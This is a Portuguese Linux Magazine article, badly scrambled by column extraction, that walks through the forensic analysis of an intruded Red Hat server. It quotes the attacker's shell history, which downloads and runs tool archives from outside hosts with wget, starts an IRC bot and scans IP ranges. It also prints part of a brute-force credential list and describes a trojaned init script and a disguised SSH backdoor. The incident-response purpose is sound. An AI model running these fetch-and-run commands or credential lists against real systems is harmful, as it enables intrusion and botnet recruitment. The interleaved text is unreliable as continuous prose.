Seguindo os rastros deixados por um invasor

Na trilha do invasor
SYSADMIN

O IDS informa que algo está errado. Você nota que

a máquina está com comportamento inesperado.
Vamos descobrir se houve uma invasão, seguir
sua rota e descobrir a motivação do invasor.
por Avi Alkalay

Pe
ter
So
re n
se
n-
ww
w.
sx
c.h
u

Q ualquer administrador de firewall

pode observar em seus registros
que uma máquina conectada à
Internet não fica um minuto sequer das
Vamos chamar os invasores de cra-
ckers, porque hackers somos todos nós
que respiramos tecnologia, “fuçadores”
(tradução do termo “hacker”), explo-
um novo teste, conectada à Internet, sem
uma reinstalação. Tudo começou quando,
poucas semanas após estar conectada à
Internet, uma empresa que chamaremos
24 horas do dia livre de tentativas de in- radores, pessoas curiosas. Somos todos de B enviou um email para P (provedor
vasão. Tem sempre alguém fazendo uma hackers porque usamos nossas mentes do link físico para a máquina atacada),
varredura, tentando algum tipo estranho poderosas para resolver problemas, ga- informando que detectou uma tentati-
de conexão, requisitando URLs insegu- nhar dinheiro licitamente, enfim, fazer va de ataque, e requisitou um retorno.
ras aos servidores web, enfim, batendo o bem. Um cracker, por outro lado, usa P encaminhou o email para A, e esse
na porta. Parece que as pessoas têm se seu conhecimento para invadir, deteriorar, continha alguns registros com a prova
protegido bem, já que não me lembro de tirar vantagem e dar trabalho aos hackers da tentativa de invasão:
ter ouvido histórias detalhadas sobre um administradores de redes. Um cracker é
ataque efetivamente acontecendo. um mau hacker, e um bom hacker pode Feb 22 12:36:27 sshd[PID]: refused connect
Tive a oportunidade de analisar um impedir a ação de um cracker. ➥ from IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect
computador que foi invadido e vou relatar ➥ from IP.IP.IP.IP
aqui as evidências que os crackers deixaram
para trás, como as descobrimos, e o que Os rastros do cracker Feb 22 12:36:27 sshd[PID]:
➥ from IP.IP.IP.IP
refused connect

lhes interessava naquela máquina. Vou usar O servidor em questão era uma máquina Feb 22 12:36:27 sshd[PID]: refused connect
nomes fictícios e mascarar alguns IPs para de testes internos na empresa A, que em ➥ from IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect
resguardar a privacidade de todos. determinado momento foi deslocada para

66 http://www.linuxmagazine.com.br
 Invasão | SYSADMIN

Figura 1: Diagrama das tentativas iniciais de invasão.

➥ from IP.IP.IP.IP administrador, e não do sistema opera- Pronto. Estava constatado que esse
Feb 22 12:36:27 sshd[PID]: refused connect
cional, seja ele qual for, e do fabricante tal comando crontabs era alienígena e
➥ from IP.IP.IP.IP
que for. O administrador precisava ago- não deveria estar ali. Foi, com certeza,
Feb 22 12:36:27 sshd[PID]: refused connect
➥ from IP.IP.IP.IP ra descobrir como o cracker invadiu a implantado pelo cracker. Mas não pa-
Feb 22 12:36:27 sshd[PID]: refused connect máquina, para, corajosamente, assumir ramos aqui. Queríamos saber o que esse
➥ from IP.IP.IP.IP a falha e não permitir que isso aconte- programa fazia. Como era um binário,
Feb 22 12:26:27 sshd[PID]: refused connect cesse novamente. tentamos extrair dele algumas cadeias
➥ from IP.IP.IP.IP
Logo na inicialização da máquina, de caracteres:
observamos consecutivas mensagens es-
Eles mostravam que o IDS (Intru- tranhas que não deveriam estar lá, e que bash$ strings /usr/bin/crontabs
sion Detection System) de B acusou que continham o texto (swap). Começamos [...]
“smbd -D”
a máquina atacada (cujo endereço IP a analisar o processo de inicialização do “(swapd)” &
está representado por IP.IP.IP.IP) ten- sistema, a partir do arquivo /etc/inittab. [...]
tou se conectar várias vezes sem sucesso Vimos que um dos primeiros scripts que
a seu serviço SSH (sshd). Reparem que são executados no sistema é o /etc/init.d/
o instante de todas as tentativas, até os functions, e fizemos os seguintes testes: Ou seja, era o binário crontabs que
segundos, é o mesmo, o que leva a crer imprimia na tela as mensagens com o
que não é um ser humano, e sim algum bash$ rpm -qf /etc/init.d/functions termo (swap). Mas descobrimos ainda que
software que muito rapidamente está tes- initscripts-7.93.20.EL o alienígena continha também a cadeia
bash$ rpm -V initscripts
tando várias combinações de usuário e S.5....T c /etc/rc.d/init.d/functions smbd -D, que se parece com o nome do
senha ao mesmo tempo. serviço do Samba. Nem perdemos tempo
Fui chamado para dar explicações, usando os comandos ps e top para verifi-
pois eu havia fornecido, informalmente Verificamos que este arquivo faz parte car se um processo chamado smbd estava
e por telefone, algumas dicas de como (rpm -qf) do pacote initscripts; em segui- em execução, pois usamos os mesmos
proteger a máquina. Primeiramente, era da, testamos sua integridade (rpm -V), e rpm -qf e rpm -V para constatar que esses
necessário dar subsídios ao provedor P descobrimos que o arquivo foi alterado. programas também foram modificados
para responder ao email de B, dando uma O número 5 significa que a soma MD5 pelo cracker. Usamos o utilitário gráfi-
satisfação formal. Isso é uma atitude de do arquivo mudou, ou, em outras pala- co ksysguard (que não foi modificado)
responsabilidade de um bom administra- vras, que o conteúdo do arquivo mudou. do KDE, e conseguimos observar um
dor de rede, e demonstra a preocupação O gerenciador de pacotes RPM obtém tal processo smbd -D sendo executado.
em manter o nível de serviço da Internet essa informação ao comparar essa soma Chamou-nos a atenção o fato de que
o mais alto possível. do arquivo atual no disco com o valor de o ksysguard mostrava todos os processos
A máquina foi colocada em quarente- MD5 registrado em seu banco de dados sendo executados sem seus parâmetros,
na, desligada da Internet e começamos no momento da instalação do pacote. e somente o smbd apresentava um parâ-
a analisá-la. Tratava-se de um Red Hat Mas o que foi alterado no script func- metro. Não tardou a acharmos um pro-
Enterprise Linux 3 Update 5. Não estou tions? grama chamado /usr/bin/smbd -D (com
dizendo que o Red Hat Linux é menos A última linha do script era: espaço e parâmetro mesmo), e o RPM
ou mais seguro. O conceito de segurança novamente nos informou que ele não fa-
de uma distribuição não é intuitivo, mas /usr/bin/crontabs -t1 -X53 -p zia parte de nenhum pacote. Tratava-se
é fato que segurança não tem quase nada de outro programa do cracker. Fomos lá
a ver com o software. Segurança não é Suspeitamos imediatamente, pois o tentar extrair mais algumas informações
um firewall, não é criptografia, nem um comando crontab não se chama crontabs. sobre este programa:
conjunto de produtos que têm proteção Confirmamos novamente com o RPM:
como objetivo. Segurança é um processo bash$ strings “/usr/bin/smbd -D”
que deve ser seguido conscientemente por bash$ rpm -qf /usr/bin/crontabs [...]
Received SIGHUP; restarting.
administradores de redes. Se um ataque o ficheiro /usr/bin/crontabs não pertence Generating new %d bit RSA key.
➥ a nenhum pacote
acontece, toda a responsabilidade é do

Linux Magazine #26 | Dezembro de 2006 67

SYSADMIN | Invasão
RSA key generation complete.
-b bits Size of server RSA key
➥ (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh
➥ version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]
Omitimos diversas linhas por motivo
de clareza. A linha By-ICE_4_All eliminou
qualquer dúvida sobre a ocorrência da
visita de um cracker à máquina. Mas o
mais interessante são as linhas que apa-
recem abaixo dessa, que nos levaram a
crer que o famigerado programa smbd -D
era um servidor SSH. O cracker deveria
querer isso para manter um backdoor
aberto, e poder entrar por SSH quando
desejasse. Em /var/log/messages, encon-
tramos a evidência final:
Feb 19 19:24:49 localhost smbd -D: RSA1
➥ key generation succeeded
Feb 19 19:24:50 localhost smbd -D: RSA
➥ key generation succeeded
Feb 19 19:24:51 localhost smbd -D: DSA
➥ key generation succeeded
Feb 19 19:24:51 localhost smbd -D:
➥ succeeded
Essas são mensagens típicas de um da-
emon SSH sendo executado pela primeira
vez, quando cria suas chaves únicas de
criptografia, só que bizarramente emitidas
por um suposto programa com nome de
servidor Samba, o que não faz sentido
algum e, além disso, é forte indício de
que há algo errado no sistema. Ou seja,
o cracker implantou um backdoor SSH,
porém com um nome mascarado para seu
arquivo e processo (smbd). A partir desses
registros, pudemos também estimar a
data em que a máquina foi atacada: 19
de fevereiro.
Para o cracker conseguir alterar ar-
quivos e comandos tão importantes do
sistema, ele deve ter conseguido acesso
de root, e por isso fomos conferir o his-
tórico de comandos executados por esse
usuário no arquivo /root/.bash_history, e
obtivemos a seguinte saída:
bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/
68
➥ flo.tgz
tar xzvf flo.tgz
[...]
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x
➥ 201.23; ./x 201.24; ./x 201.25; ./x 201.
26; ./x 201.27; ./x 201.28; ./x 201.29; ./
➥ x 201.30; ./x 201.31; ./x 201.32; ./x
201.33; ./x 201.34; ./x 201.35; ./x 201.36;
➥ ./x 201.37; ./x 201.38; ./x 201.39;
./x 201.40; ./x 201.41; ./x 201.42; ./x
➥ 201.43; ./x 201.44; ./x 201.45; ./x 201.
46; ./x 201.47; ./x 201.48; ./x 201.49; ./
➥ x 201.50
[...]
/usr/sbin/adduser scanning
O formato do arquivo .bash_history não
nos permite saber quando esses coman-
dos foram executados, mas fica evidente
que o cracker criou um usuário chamado
scanning, baixou arquivos de certos sites,
abriu-os e executou comandos que vie-
ram com eles. Analisamos cada um, e
descobrimos que:
No diretório /usr/share/.a, ele instalou
e executou o comando mig, que aparen-
temente realiza a limpeza do histórico
de login do sistema. Usamos o mesmo
comando strings para analisar esse bi-
nário. Isso confirmou nossa estimativa
da data de ataque, pois o comando last
(usado para verificar esse histórico) apon-
tou dados inconsistentes por volta de 19
de fevereiro.
➧ Em /var/tmp, foi baixado um tal usr.
tar.gz, que aparentemente é um bot
de IRC. Mais tarde, com os mesmos
comandos do RPM, descobrimos
que o comando /bin/netstat também
havia sido alterado, provavelmente
para esconder as conexões desse
bot a diversos servidores de IRC na
porta padrão (6667), o que consta-
tamos com o ksysguard. Explicarei
mais adiante o que um cracker pode
fazer com isso.
Mas o mais interessante foi o arqui-
vo x.tar.gz baixado. Ele continha dois
executáveis chamados find e take, além
de um script intitulado simplesmente x
e um arquivo muito especial de nome
code.conf. Lendo o simplíssimo script
x, e verificando no histórico que ele era
executado muitas vezes, e usando a in-
tuição, ficou claro que o comando find
varria faixas de IP inteiras em busca de
máquinas com a porta 22 (SSH) aberta.
A lista de máquinas encontradas era en-
tão passada para o comando take, que se
encarregava de usar as 18459 combina-
ções de usuário e senha disponíveis no
arquivo code.conf para tentar se logar nas
máquinas encontradas. Um login bem
sucedido tinha o IP, usuário e senha re-
gistrados num arquivo que indicaria ao
cracker as próximas máquinas a invadir.
E esse arquivo já tinha uma lista das
máquinas nas quais essas ferramentas
conseguiram penetrar, naturalmente
com suas respectivas senhas.
Foi exatamente esse procedimento de
login por força bruta que foi detectado
pelo IDS da empresa B, quando o servidor
deles sofreu uma tentativa infrutífera de
invasão. Quando chegamos a isso, ainda
não estava claro como a máquina de A
havia sido invadida. Estava checando se
e como os administradores da máquina
seguiram meus conselhos informais de
segurança, verificando as regras de Ip-
tables, serviços ativos etc. Parecia tudo
correto ou, no mínimo, não alarmante-
mente errado. Foi quando examinamos
com mais atenção o conteúdo do arqui-
vo code.conf e, entre suas mais de 18 mil
linhas, encontramos as seguintes:
root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123
Enquanto varríamos o arquivo com
os olhos, de repente o administrador da
máquina invadida colocou a mão na
testa e, com voz de lamento, nos con-
tou que a senha de root da máquina
era a manjadíssima passw0rd (com um
algarismo zero no lugar da letra “o”). O
serviço SSH estava aberto e permitia lo-
gin do root pela rede. Aquela máquina
também tinha sido vítima da varredura
do cracker, e foi assim que ele entrou e
ganhou poder total.
Eu conhecia várias máquinas formais
e informais que implementaram aquele
mesmo esquema de segurança que foi
sugerido, estavam há anos conectadas
à Internet, e jamais haviam sofrido ata-
http://www.linuxmagazine.com.br
 Invasão | SYSADMIN

ques. Mas uma simples

senha conhecida, bem
típica de ambientes
de testes, onde várias
pessoas compartilham
acessos similares e in-
formais às máquinas,
foi o calcanhar de Aqui-
les da pilha de seguran-
ça. Isso confirma que
ataques bem sucedidos
são responsabilidade
do administrador, e
não tanto de um soft-
ware de segurança em
especial.

Reinstalação
Depois de um ataque
como esse, e depois do
relatório conclusivo, a
melhor coisa é limpar
completamente o dis-
co e partir para uma
reinstalação completa.
Dessa vez acompanhei
de perto a instalação,
e seguimos algumas
simples regras de se- Figura 2: Um ataque DDoS é realizado a partir de uma sala de IRC, de onde o cracker envia comandos de ataque a toda sua
legião de bots.
gurança:
➧ Só instalamos paco- a seu dispor um exército de bots, distri-
tes que sabíamos que seriam usados. Por que o buídos geograficamente e programados
Desconsideramos totalmente uma
instalação completa. cracker ataca? para executar ações sob seu comando.
O DDoS acontece quando o cracker,
➧ Depois de instalado o sistema, de- Em todas as análises que fizemos, não através de comandos dados aos bots na
sativamos alguns serviços que sabí- encontramos nada de útil no ataque do sala de IRC, faz os computadores ataca-
amos que não seriam usados, como cracker. A máquina estava conectada dos enviarem simultaneamente grandes
NIS, Samba, Portmap e NFS, por a outras redes, mas essas não pareciam volumes de pacotes de dados para algum
exemplo. interessá-lo. A única conclusão a que site vítima, escolhido pelo cracker. Na-
➧ Criamos regras para o Iptables, fe- pudemos chegar foi que o cracker ata- quele momento, o link do site vítima
chando praticamente tudo, exceto as ca por atacar, e depois usa seu ataque fica sobrecarregado, e a sensação é de
portas 80 (HTTP) e 443 (HTTPS). para atacar mais. Simplesmente isso. que ele está fora do ar. Isso pode durar
➧ Requisitamos ao provedor do link, P, Sim, porque as ferramentas, técnicas e o tempo que o cracker desejar.
que configurasse regras semelhantes rastros deixados mostram que ele prova- Esse processo foi ricamente detalhado
em seu roteador, formando um fi- velmente usou ferramentas criadas por pelo dono de um desses site-vítima, em
rewall duplo. outros, talvez seguindo uma documen- [1], e é leitura obrigatória a qualquer
➧ Por via das dúvidas, desabilitamos o tação que mostra os comandos prontos, um que se interesse por segurança da
acesso de root por SSH, obrigando passo a passo. Ele provavelmente não informação. ■
o administrador a se logar com um sabia direito o que estava fazendo. Sem
usuário qualquer e depois ganhar objetivos “mitnickianos”, nem financei-
privilégios com o comando su. Isso ros, nem algo que o exaltasse perante Mais Informações
funciona como uma restrição dupla outros crackers.
para administrar a máquina. Nesse ponto, é interessante explicar [1] The strange tale of the Denial
of Service attacks against grc.com:
➧ Dessa vez foram usadas senhas de- o que é o bot de IRC. Ele se dedica a
http://grc.com/dos/grcdos.htm
centes, bem difíceis, com letras, nú- desferir ataques do tipo DDoS (Distri-
meros, e que não eram derivadas de buted Denial of Service), como mostra-
palavras óbvias. do na figura 2. Um bot fica constante- O autor
➧ Por último, as senhas só foram in- mente conectado a uma sala de IRC
formadas para poucas pessoas, e pré-definida. Depois de invadir várias Avi Alkalay (avix@br.ibm.com) é con-
sultor de Linux, Software Livre, Padrões
somente de forma verbal. Evitamos máquinas e ativar os respectivos bots, o
Abertos e Segurança na IBM Brasil.
passar por email. cracker entra nessa sala de IRC e tem

Linux Magazine #26 | Dezembro de 2006 69